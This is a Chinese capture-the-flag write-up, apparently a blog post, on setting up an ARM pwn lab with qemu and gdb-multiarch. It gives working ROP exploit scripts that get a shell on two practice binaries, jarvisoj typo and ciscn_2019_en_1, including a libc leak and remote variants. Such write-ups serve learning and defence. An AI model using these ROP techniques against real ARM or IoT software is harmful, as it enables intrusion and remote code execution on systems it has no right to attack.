arm-Pwn环境搭建+简单题目

前言

起因是看到一篇IOT CVE的分析文章。

正好也在学pwn,arm架构的也是IOT这些固件最常用的,所以先安一个arm-pwn的环境。

环境搭建/调试

1. 安装 gdb-multiarch

bash 复制代码
sudo apt-get install gdb-multiarch

2. 安装qemu

ctf的arm_pwn只需要安装qemu-user就行了。

binfmt*是用来识别文件类型

bash 复制代码
sudo apt-get install qemu-user
sudo apt-get install qemu-user-binfmt
sudo apt-get install "binfmt*"

只用这两步就可以直接运行静态链接的arm程序。

jarvisoj typo为例

3. 动态链接的arm程序配置

查找:

bash 复制代码
apt search  "libc6-" | grep 'arm'

可以根据需要安装不同架构的库

对于arm32就是这个

bash 复制代码
sudo apt-get install libc6-armel-cross

4. 运行方式

-L 指定运行库,-g 指定端口

bash 复制代码
qemu-arm -L /usr/arm-linux-gnueabi ./cisn_en_1

5. 动态调试

安装过程问题不大,记录下调试。

这里没用pwntools,先用gdb端口来看:

bash 复制代码
gdb-multiarch
set architecture arm
target remote localhost:23333

然后另一个终端运行待调试程序

以静态链接的typo为例:

不需要-L指定动态链接库,-g指定端口。

bash 复制代码
qemu-arm -g 23333 ./typo

pwntools调试

如果用py脚本调试,就加上这句:

py 复制代码
p = process(['qemu-arm', '-L', '/usr/arm-linux-gnueabi','-g','23333', 'ciscn_en_1'])

然后一样的gdb-multiarch设置好

bash 复制代码
target remote localhost:23333

再运行python即可调试。

两道题目

拿两道arm32的题来熟悉一下。

javisoj-typo

题目链接

对于arm指令集,以前我一直认为下载的IDA是无法F5的。。。

结果

也就是只要ROM、RAM这些位置加载对了(ctf的pwn题的话一般不用自己找基址。。),IDA就能F5。。。

(当然要全插件版的IDA)

回到题目。

第一个arm_pwn

程序静态链接,无PIE,无canary。

直接rop system("/bin/sh")

注意下要先恢复符号,不然不一定找得到system。

主要就是对于arm指令集要稍微熟悉一点,知道r0和amd64的rdi是用于第一个参数传参就行。

然后arm指令集是由pop pc这种来控制指令流的。

填充完缓冲区后不需要覆盖"old_ebp"。

Exp:

py 复制代码
binsh = 0x0006C384
system = 0x110B4
# 0x00020904 : pop {r0, r4, pc}
r0_r4_pc = 0x00020904

pl = b'a'*112 + p32(r0_r4_pc) + p32(binsh) + p32(0) + p32(system)

sa("quit\n",b"\n")
sleep(0.3)
sl(pl)

p.interactive()

ciscn_2019_en_1

题目链接

动态链接,无PIE。

IDA看程序,

很明显的一个栈溢出。我们尝试ret2libc。

首先要寻找gadget。

而这里是找不到pop r0的,这也是本题的难点所在。

但我们可以通过这个地方的gadget来间接控制r0:

跟ret2csu很类似,我们首先传入POP {R4-R10,PC}的gadget,

这样我们就能控制R7,R3寄存器的值。

然后PC寄存器填上MOV R0.R7,也就是上面那个gadget的地址。

这样我们就能通过R7控制R0,通过R3控制BLX执行的函数了。

只是还有个问题,那个POP {R4-R10}其实没有R3。。

但我们可以找一个R3的gadget,比如

0x000103a4 : pop {r3, pc}

来赋值R3,并且控制指令流。

具体到ret2libc流程来说,

R7 = puts_got
PC = pop_r3_pc
R3 = puts_plt
PC = mov_r0_r7

就可以打印出puts的地址了。

泄露libc后就正常再打一遍system("/bin/sh")即可。

只是这里注意,我们不能像正常的ret2csu那样控制puts(puts_got)后返回的地址。。

所以打印完后程序会直接退出。

当然本地两次开process它们的基址是不变的,所以我们再process一个来getshell即可。

本地

Exp:

py 复制代码
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0


# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(puts_got) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(puts_plt) # r3
pl += p32(mov_r0r7_blxr3) # pc


ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - libc.sym['puts']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', 'ciscn_en_1'])
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()

远程

打远程的话就不能这么开两次process

所以对于那个类csu gadget利用顺序就要改一改了。

核心就是改顺序使得能控制puts(puts_got)后的返回地址。

顺序改为:

py 复制代码
padding
POP {R3,PC}
puts_plt # R3
POP {R4-R10,PC} # PC
p32(0)*3
puts_got # R7
p32(0)*3
MOV R0, R7 # PC

到这里的话就是第一遍gadget,类似csu的gadget1->gadget2

然后再次"滑"到gadget1的POP {R4-R10,PC}

我们就可以控制PC了。

py 复制代码
p32(0)*7
vuln_addr # PC

然后就是buu远程给的libc奇奇怪怪的。。。 好多偏移都不大对。。

自己调整一下,

两个地方:

py 复制代码
puts_got = 0x21010
libcbase = leak - 0x00047b30

远程的Exp:

py 复制代码
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
vuln = 0x10590
pop_r3_pc = 0x000103a4
pop_r4_pc = 0x000104f8
pop_45678bl_pc = 0x00010638  # 
mov_r0r7_blxr3 = 0x00010628  # r7 -> r0

info_addr("plt",puts_plt)
info_addr("got",puts_got)
# puts_plt(puts_got)
pl = b'a'*0x24 + p32(pop_r3_pc)
pl += p32(puts_plt) + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(0x21010)
pl += p32(0)*3 + p32(mov_r0r7_blxr3)
pl += p32(0)*7
pl += p32(vuln) # pc

ru("name:\n\n")
#pause()
sl(pl)

ru('\n')
leak = u32(p.recv(4))
info_addr("puts_addr",leak)
libcbase = leak - 0x00047b30
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search("/bin/sh\x00"))

# getshell
pl = b'a'*0x24 + p32(pop_45678bl_pc)
pl += p32(0)*3 + p32(binsh) # r7
pl += p32(0)*3 + p32(pop_r3_pc) # pc
pl += p32(system) # r3
pl += p32(mov_r0r7_blxr3) # pc
ru("name:\n\n")
pause()
sl(pl)


p.interactive()
相关推荐
我言秋日胜春朝★36 分钟前
【Linux】进程地址空间
linux·运维·服务器
C-cat.1 小时前
Linux|环境变量
linux·运维·服务器
yunfanleo1 小时前
docker run m3e 配置网络,自动重启,GPU等 配置渠道要点
linux·运维·docker
糖豆豆今天也要努力鸭2 小时前
torch.__version__的torch版本和conda list的torch版本不一致
linux·pytorch·python·深度学习·conda·torch
烦躁的大鼻嘎2 小时前
【Linux】深入理解GCC/G++编译流程及库文件管理
linux·运维·服务器
ac.char2 小时前
在 Ubuntu 上安装 Yarn 环境
linux·运维·服务器·ubuntu
敲上瘾2 小时前
操作系统的理解
linux·运维·服务器·c++·大模型·操作系统·aigc
长弓聊编程2 小时前
Linux系统使用valgrind分析C++程序内存资源使用情况
linux·c++
cherub.2 小时前
深入解析信号量:定义与环形队列生产消费模型剖析
linux·c++
梅见十柒3 小时前
wsl2中kali linux下的docker使用教程(教程总结)
linux·经验分享·docker·云原生